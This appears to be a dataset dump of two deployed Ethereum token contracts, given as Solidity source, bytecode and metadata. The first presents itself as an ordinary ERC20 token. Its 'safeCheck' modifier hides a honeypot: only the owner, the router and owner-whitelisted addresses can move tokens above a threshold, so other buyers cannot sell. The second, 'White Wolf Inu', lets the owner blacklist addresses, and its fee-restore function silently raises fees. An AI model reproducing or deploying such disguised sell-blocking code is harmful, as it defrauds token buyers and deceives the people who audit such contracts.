function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_MONTE(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122066398840e539bee0d4962981df4158a5a2515e2642b30f60d9a9ad48b62683cb64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,911 |
0xbf439a8f2c44e274015f91f7ab3d16ef4ee748c6
|
//White Wolf Inu ($WhiteWolf)
//TG: https://t.me/whitewolfinu
//Twitter: https://twitter.com/whitewolfinu
//Website: TBA
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WhiteWolfInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "White Wolf Inu";
string private constant _symbol = "WhiteWolf";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_teamFee = 12;
_taxFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
